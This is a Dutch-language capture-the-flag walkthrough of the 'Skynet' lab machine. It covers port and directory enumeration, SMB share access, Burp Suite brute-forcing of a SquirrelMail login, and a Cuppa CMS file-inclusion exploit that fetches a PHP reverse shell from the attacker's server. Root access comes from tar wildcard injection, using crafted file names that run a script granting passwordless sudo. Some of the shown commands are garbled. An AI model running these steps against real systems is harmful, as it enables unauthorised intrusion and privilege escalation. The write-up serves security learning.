Intro
Skynet machine behandelt de volgende onderwerpen:
- Kwetsbare smb-server
- Squirrelmail brute-forcing met Burpsuite
- Lokaal/op afstand opnemen van bestanden
- Wildcards exploiteren op Linux
Opsomming
Nmap
Te beginnen met een Nmap scan:
PORT STATE SERVICE VERSIE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA) | 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA) |_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methodes: |Ondersteunde methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Skynet 110/tcp open pop3 Dovecot pop3d |_pop3-capaciteiten: RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (werkgroep: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities. 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (werkgroep: WORKGROUP) Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We hebben interessante open poorten ontdekt: pop3 server op poort 110, IMAP mail server op poort 143, open http server op zijn standaard poort en een samba server die het SMB protocol ondersteunt. SMB heeft twee poorten, 445 en 139.
SMB werkte oorspronkelijk bovenop NetBIOS met poort 139, maar aangezien NetBIOS een oudere transportlaag is voor Windows-computers, kwam poort 445 daarvoor in de plaats na Windows 2000. Nu draait het bovenop een TCP-stack, waardoor SMB over het internet kan werken.
Gobuster
De http webserver bevat niets interessants, dus laten we het brute-force doen voor andere directories:
=============================================================== http://10.10.176.19/admin (Status: 403) http://10.10.176.19/css (Status: 403) http://10.10.176.19/js (Status: 403) http://10.10.176.19/config (Status: 403) http://10.10.176.19/ai (Status: 403) http://10.10.176.19/squirrelmail (Status: 200) ===============================================================
We hebben een login pagina ontdekt voor SquirrelMail, maar we hebben referenties nodig.
Samba
Laten we de samba-server opsommen met Nmap-scripts:
PORT STATE SERVICE 445/tcp open microsoft-ds Host script resultaten: | smb-enum-shares: | account_used: guest | 10.10.176.19: | Type: STYPE_IPC_HIDDEN | Commentaar: IPC Service (skynet server (Samba, Ubuntu)) | Gebruikers: 2 | Max gebruikers:
Anonieme toegang lijkt te zijn toegestaan; laten we ook de “milesdyson” gebruiker toevoegen in onze notities.
Een van de logs bevat interessante wachtwoorden. Laten we het bestand lokaal opslaan voor later gebruik.
Hierboven vonden we een smb share met de naam milesdyson; laten we met deze informatie de mailserver brute-forcen.
Exploitatie
Burpsuite
1. Capture verzoek in Burpsuite
2. Verzenden naar indringer (Ctrl+I)
3. Wachtwoordveld toevoegen in bereik/positie voor brute-forcing
4. Kies aanvalstype Sniper, laadt gevonden wachtwoordenbestand & start de aanval
5. Zoek naar HTTP-reactiecodes die zich onderscheiden van de rest
Nu we het wachtwoord hebben, kunnen we inloggen en kijken wat we nog meer kunnen vinden:
Daar staat het wachtwoord voor de share van onze gebruiker; we kunnen het gebruiken om toegang te krijgen tot zijn samba share:
smb: \ ls . D 0 Tue Sep 17 11:18:40 2019 ... D 0 Tue Sep 17 11:05:47 2019 3.01 Search.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agent-Based Models.md N 5683 Tue Sep 17 11:01:29 2019 2.08 In de praktijk.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Lineaire Algebra.md N 70314 Tue Sep 17 11:01:29 2019 belangrijk.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Artificial Intelligence.md N 33 Tue Sep 17 11:01:29 2019 2.01 Overview.md N 1165 Tue Sep 17 11:01:29 2019 ... prompt recurse mget *
Het openen van important.txt onthult een verborgen directory:
1. Functies toevoegen aan beta CMS /45kra24zxs28v3yd 2. Werken aan T-800 Model 101 blauwdrukken 3. Meer tijd doorbrengen met mijn vrouw
Laten we eens kijken naar het CMS in deze verborgen directory:
Niet veel te zien, maar het heeft waarschijnlijk een inlogpagina omdat het een Content Management Systeem (CMS) is; laten we brute-force voor andere directories.
http://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)
We hebben de inlogpagina gevonden:
Uit de broncode blijkt niets over de CMS-versie. Nog gezocht in searchsploit naar iets interessants:
------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------ Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt ------------------------------------------------------------------------------ ---------------------------------
Het is een RFI/LFI kwetsbaarheid, wat betekent dat we met deze kwetsbaarheid lokale of remote PHP bestanden (meestal) kunnen opnemen of niet-PHP bestanden kunnen lezen. Bij LFI moet de aanvaller het kwaadaardige script uploaden naar de doelserver om het lokaal uit te voeren.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
Laten we het nu gebruiken om een omgekeerde schil te krijgen. Eerst moeten we een listener starten, dan de lokale http-server en daarna het PHP-script van daaruit aanroepen:
┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php
Als u Kali Linux gebruikt, zou u een reverse PHP script lokaal beschikbaar moeten hebben in de volgende map:
/usr/share/webshells/php/php-reverse-shell.php
. Kopieer het en verander het IP adres & poort nummer om terug te verbinden.
Nu we de gebruikersvlag hebben. Laten we privileges escaleren!
Privilege-escalatie
Wildcard exploiteren
Ik heb geen binaire bestanden met SUID-bit gevonden. Ik probeerde de etc/shadow
bestand zonder succes. Na wat meer opsomming heb ik een ongebruikelijke cronjob ontdekt, die elke minuut draait:
# /etc/crontab: systeembrede crontab # In tegenstelling tot elke andere crontab hoeft u het `crontab' # commando niet uit te voeren om de nieuwe versie te installeren wanneer u dit bestand # en bestanden in /etc/cron.d bewerkt. Deze bestanden hebben ook gebruikersnaam velden, # die geen van de andere crontabs hebben. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow gebruiker commando */1 * * * root /home/milesdyson/backups/backup.sh 17 * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Laten we het inspecteren:
/bin/bash
krijgt een shell als root zoals te zien is in
etc/crontab
navigeert vervolgens naar de /var/www/html
directory en maakt een backup/archief van alles in de directory met behulp van
tar
.
Aan het einde van het tar-commando staat de asterisk bekend als een wildcard, wat “alle” betekent. De asterisk kan voor verschillende doeleinden worden gebruikt, zoals ls *.py
wat betekent dat alle bestanden met de .py
uitbreiding. Alles wat we in /var/www/html zetten, wordt toegevoegd aan het gecomprimeerde bestand dat tar
genereert.
Er zijn verschillende manieren om dit uit te buiten, laten we de makkelijkste nemen. We voegen onszelf toe aan de etc/sudoers
bestand en zo kunnen we elk commando met sudo uitvoeren, zoals sudo bash
om een root-shell te krijgen. In een eenvoudig commando is dit het volgende wat we proberen te bereiken:
Laten we de volgende twee commando’s die gebruikt worden voor privilege-escalatie beter begrijpen door de handleidingpagina van tar te bekijken:
Informatieve uitvoer --checkpoint[=N] Elke N-de record (standaard 10) een voortgangsbericht weergeven. --checkpoint-action=ACTION Voer ACTION uit op elk checkpoint.
Het jokerteken betekent dat we een eenvoudige argumentinjectie kunnen doen door de argumenten die we nodig hebben als bestandsnamen te schrijven en checkpointacties te gebruiken om commando’s uit te voeren.
$ echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers" > root.sh
$ echo "var/www/html" > "--checkpoint-action=exec=sh root.sh"
$ echo "var/www/html" > --checkpoint=1
$ sudo bash whoami root
Indien ingesloten in enkele aanhalingstekens (
'
), heeft geen enkel teken in het enkele aanhalingsteken een speciale betekenis. Terwijl dubbele aanhalingstekens ("
) laat de shell het dollarteken ($
), backtick(`), backslash(\
) en uitroepteken (!
).
0 Comments